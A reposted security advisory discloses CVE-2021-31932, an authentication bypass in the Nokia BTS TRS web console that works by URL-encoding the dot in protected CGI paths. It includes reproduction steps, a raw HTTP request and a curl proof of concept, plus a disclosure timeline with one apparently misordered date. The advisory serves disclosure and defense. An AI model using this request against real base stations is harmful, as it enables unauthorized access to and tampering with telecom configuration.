Saturday, February 12, 2022

Nokia Transport Module Authentication Bypass

  title: Nokia Transport Module Authentication Bypass
case id: CM-2020-02
product: BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)
vulnerability type: Authentication Bypass
severity: Critical
found: 2020-09-28
CVE: CVE-2021-31932
by: Cristiano Maruti (@cmaruti)

[EXECUTIVE SUMMARY]

The TRS web console allows an authenticated user to remotely manage the BTS
and its configuration. The analysis discovered an authentication bypass
vulnerability (CWE-289) in the web management console. A malicious
unauthenticated user can get access to all the functionalities exposed via
the web panel circumventing the authentication process. The vulnerability
lies in the way the web server in use (lighttpd) protects restricted
resources and how special characters are encoded and pass to the underline
CGIs. A successful attack can read data from the BTS and read, modify or
delete BTS configuration.

[VULNERABLE VERSIONS]

The following version of the TRS web console was affected by the
vulnerability; previous versions may be vulnerable as well:
- BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)

[TECHNICAL DETAILS]

It is possible to reproduce the vulnerability following these steps:
1. Open a web browser and insert the BTS TRS web console IP
2. Navigate to a protected resource (for example
/protected/ShowErrorLog.cgi)
3. Subsitute the dot character with the corresponding URL encoded value
(%2e)
4. Resulting URL
(/protected/ShowErrorLog%2ecgi?token=thisIsNotTheRightToken)
give access without prompt for any authentication credential

Below a full transcript of the HTTP request used to get access to a
protected
resource.

HTTP Request
-------------------------------------------------------------------------------
GET /protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken HTTP/1.1
Host: <targetip>
User-Agent: curl/7.67.0
Accept: */*

-------------------------------------------------------------------------------
cURL PoC
-------------------------------------------------------------------------------
# curl -vk https://<targetip>/protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken&frame=showLogFile


[VULNERABILITY REFERENCE]
Mitre assigned the following CVE ID to the vulnerability: CVE-2021-31932

[DISCLOSURE TIMELINE]
2020-10-06: Contacting Nokia PSIRT and shared the details of the
vulnerability
2020-10-07: Nokia PSIRT acknowledge the receipt of the message.
2021-10-12: Vendor engineering team confirmed the vulnerability and working
on patch (estimated time end of 2020).
2021-04-30: Research requested a CVE assignment through MITRE CVE
Assignment Team; allocated CVE-2021-31932
2021-05-01: Researcher notified the assigned CVE number to the Vendor
2022-02-08: Researcher asked for permission to publicly release the report
to the public; Nokia PSIRT acknowledged
2022-02-10: Public release


--

Cristiano Maruti
about.me/cmaruti


 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore